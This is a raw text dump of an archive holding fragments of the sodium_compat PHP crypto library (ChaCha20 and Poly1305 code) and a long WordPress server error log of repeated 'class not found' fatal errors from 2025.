ParagonIE_Sodium_Core32_Util::substr($string, 32, 4) ); $state->nonce = ParagonIE_Sodium_Core32_Util::substr($string, 36, 12); $state->_pad = ParagonIE_Sodium_Core32_Util::substr($string, 48, 8); return $state; } /** * @return string */ public function toString() { return $this->key . $this->getCounter() . $this->nonce . $this->_pad; } } PK-L[w`22src/Core32/Poly1305.phpnu[update($m) ->finish(); } /** * @internal You should not use this directly from another application * * @param string $mac * @param string $m * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function onetimeauth_verify($mac, $m, $key) { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Key must be 32 bytes long.' ); } $state = new ParagonIE_Sodium_Core32_Poly1305_State( self::substr($key, 0, 32) ); $calc = $state ->update($m) ->finish(); return self::verify_16($calc, $mac); } } PK-L[4Asrc/Core32/error_lognu[[18-May-2025 00:10:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [18-May-2025 04:48:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [18-May-2025 04:51:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [18-May-2025 06:23:11 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [18-May-2025 06:23:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [18-May-2025 07:29:59 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [18-May-2025 07:30:30 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [18-May-2025 07:33:15 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [18-May-2025 07:33:30 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [18-May-2025 09:50:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [18-May-2025 09:50:22 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [18-May-2025 09:50:37 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [18-May-2025 10:12:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [04-Jun-2025 18:18:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [04-Jun-2025 23:08:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [04-Jun-2025 23:10:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [05-Jun-2025 01:19:58 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [05-Jun-2025 01:20:13 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [05-Jun-2025 02:34:52 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [05-Jun-2025 02:35:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [05-Jun-2025 02:38:18 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [05-Jun-2025 02:38:33 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [05-Jun-2025 05:04:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [05-Jun-2025 05:04:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [05-Jun-2025 05:04:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [05-Jun-2025 05:31:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [14-Jun-2025 11:14:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [14-Jun-2025 14:11:53 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [15-Jun-2025 19:31:49 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [15-Jun-2025 20:17:29 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [15-Jun-2025 21:04:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [15-Jun-2025 21:05:08 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [16-Jun-2025 00:04:45 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [17-Jun-2025 02:38:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [18-Jun-2025 17:49:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [18-Jun-2025 21:04:34 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [18-Jun-2025 21:04:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [19-Jun-2025 06:09:40 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [19-Jun-2025 11:14:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [20-Jun-2025 05:27:59 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [22-Jun-2025 17:42:38 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [28-Jun-2025 01:39:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [28-Jun-2025 07:15:20 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [28-Jun-2025 07:18:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [28-Jun-2025 09:28:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [28-Jun-2025 09:28:50 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [28-Jun-2025 11:05:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [28-Jun-2025 11:05:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [28-Jun-2025 11:08:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [28-Jun-2025 11:08:34 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [28-Jun-2025 13:58:00 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [28-Jun-2025 13:58:15 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [28-Jun-2025 13:58:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [28-Jun-2025 14:40:38 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [11-Jul-2025 09:39:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [11-Jul-2025 09:56:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [11-Jul-2025 09:57:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [11-Jul-2025 10:13:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [11-Jul-2025 10:13:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [11-Jul-2025 10:19:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [11-Jul-2025 10:20:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [11-Jul-2025 10:20:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [11-Jul-2025 10:20:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [11-Jul-2025 10:29:30 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [11-Jul-2025 10:29:45 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [11-Jul-2025 10:30:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [11-Jul-2025 10:37:05 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [17-Aug-2025 22:43:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [17-Aug-2025 22:44:22 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [17-Aug-2025 22:44:40 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [17-Aug-2025 22:48:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [17-Aug-2025 22:49:37 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [17-Aug-2025 22:51:38 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [17-Aug-2025 22:52:38 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [17-Aug-2025 22:54:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [17-Aug-2025 22:55:12 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [17-Aug-2025 23:19:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [17-Aug-2025 23:20:00 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [18-Aug-2025 08:12:43 UTC] PHP Fatal error: Uncaught Error: Class 